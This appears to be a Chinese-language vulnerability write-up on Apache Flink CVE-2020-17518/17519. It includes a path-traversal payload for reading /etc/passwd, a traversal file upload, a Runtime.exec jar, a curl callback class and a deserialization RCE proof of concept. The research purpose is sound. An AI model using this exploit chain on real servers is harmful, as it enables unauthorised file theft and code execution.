Apache Flink CVE-2020-17518/17519 读写反序列化

警告
本文最后更新于 2021-01-20,文中内容可能已过时。

又是URL编码的问题

# CVE-2020-17519 任意读文件

image.png

原理在于两次url解码 org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0

RouterHandler类是路由核心类,用于处理路由的整体交互走向。QueryStringDecoder类是自实现的解码类,在qsd.path()中首次进行url解码。

image.png

image.png

decodeComponent()进行解码,大致逻辑就是截取%之后的内容进行解码

image.png

解码之后为/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

image.png

在request解析完method、path和参数之后,进行this.router.route()

其中this.router存放了所有的路由,通过http method进行键值对匹配。意思就是GET请求对应什么路由,全拿出来。

image.png

this.router.route()中router是取出来所有的GET请求的路由

image.png

decodePathTokens()以/进行路径分割,并进行了第二次url解码

image.png

拿到tokens之后进行router.route(path, path, queryParameters, tokens)

image.png

pattern.match(pathTokens, pathParams)这个方法中是通过已知的GET method的路由遍历进行正则匹配(一句话就是匹配路由)。

其中pattern的值是jobmanager/logs/:filename,其中:filename是变量值。

image.png

而我们的payload满足了这个路由/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd,将..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd作为filename的值。

最终返回了JobManagerCustomLogHandler类的一个实例作为resp,而filename直接从token取出

image.png

两次url编码之后../目录穿越,造成任意文件读取。

image.png

简单粗暴,通过getName()获取文件名

https://github.com/apache/flink/blob/master/flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java

image.png

# CVE-2020-17518 任意文件上传

所有的url请求都会经过Handler进行处理,路由随意即可触发。

image.png

image.png

文件上传位于org.apache.flink.runtime.rest.FileUploadHandler#channelRead0中。

image.png

其中fileUpload和filename均可控,造成跨目录

image.png

# RCE

这个鬼东西本身无鉴权,并且可以通过上传jar包执行,传个jar包上去runtime.exec就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package com.test;

import java.io.IOException;

public class Main {

    public static void main(String[] args) throws IOException {
	// write your code here
        Runtime.getRuntime().exec(new String[]{"bash","-c","touch /tmp/ggg"});
    }
}

image.png

image.png

还有一种值得学习的反序列化RCE的方式。

org.apache.flink.runtime.rest.handler.job.JobSubmitHandler#loadJobGraph直接将上传文件进行反序列化。当以post方式访问到/v1/jobs时,会路由到此。

image.png

根据官方文档本地构造请求包

1
2
3
4
5
<form name="form" action="http://172.16.1.137:8081/v1/jobs"  method="post" enctype ="multipart/form-data">
    <input type="file" name="file_0">
    <input type="text" name="request" value="">
    <input type="submit" value="提交">
</form>

其中request值为json数据,指定从上传数据包中取得反序列化的对象

1
2
3
{
  "jobGraphFileName": "a.ser"
}

image.png

构造请求这个地方卡了我半天,自己真是个傻逼,不知道看文档。

然后再看org.apache.flink.api.common.state.StateDescriptor#readObject其自实现了反序列化流程。

image.png

继承TypeSerializer有很多实现,其中org.apache.flink.api.java.typeutils.runtime.PojoSerializer#deserialize(org.apache.flink.core.memory.DataInputView)存在Class.forname第二个参数为true,可以静态代码块执行。

那么转变思路即为先上传恶意class到classpath中,然后通过反序列化触发static代码块的rce。

classpath如图

image.png

将编译好的Exec.class上传到bin或者lib目录下,反序列化触发就行了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import java.io.IOException;

public class Exec {

    static {
        try {
            long l = System.currentTimeMillis();
            Runtime.getRuntime().exec(new String[]{"bash", "-c", "curl http://172.16.1.1/?id=" + l});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

构造poc的时候在org.apache.flink.api.common.state.StateDescriptor#readObject中首先要绕过hasDefaultValue。我用的是ValueStateDescriptor类来初始化赋值。

image.png

直接贴poc吧。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.test;

import org.apache.flink.api.common.ExecutionConfig;
import org.apache.flink.api.common.state.StateDescriptor;
import org.apache.flink.api.common.state.ValueStateDescriptor;
import org.apache.flink.api.common.typeutils.TypeSerializer;
import org.apache.flink.api.java.typeutils.runtime.PojoSerializer;
import org.apache.flink.core.memory.DataOutputSerializer;

import java.io.*;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        ExecutionConfig config = new ExecutionConfig();
        Field[] fields = new Field[0];
        TypeSerializer<?>[] typeSerializers = new TypeSerializer[0];
        PojoSerializer<PojoSerializer> serializer = new PojoSerializer<PojoSerializer>(PojoSerializer.class, typeSerializers, fields, config);

        Class<?> exec = Class.forName("Exec");
        Object o = exec.newInstance();

        StateDescriptor stateDescriptor = new ValueStateDescriptor("Asd", serializer, o);
        DataOutputSerializer dataOutputSerializer = new DataOutputSerializer(1);

        ObjectOutputStream objOutput = new ObjectOutputStream(new FileOutputStream("a.ser"));
        objOutput.writeObject(stateDescriptor);
        objOutput.close();

        ObjectInputStream objInput = new ObjectInputStream(new FileInputStream("a.ser"));
        objInput.readObject();
        objInput.close();
    }
}

将a.ser的内容放到http请求的file_0字段

image.png

收到curl请求

image.png

实战中注意的是Class.forname()一个类只能被加载一次,第二次rce的时候需要更换Exec的类名。

# 参考

  1. https://ci.apache.org/projects/flink/flink-docs-stable/ops/rest_api.html
  2. https://www.anquanke.com/post/id/227668

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。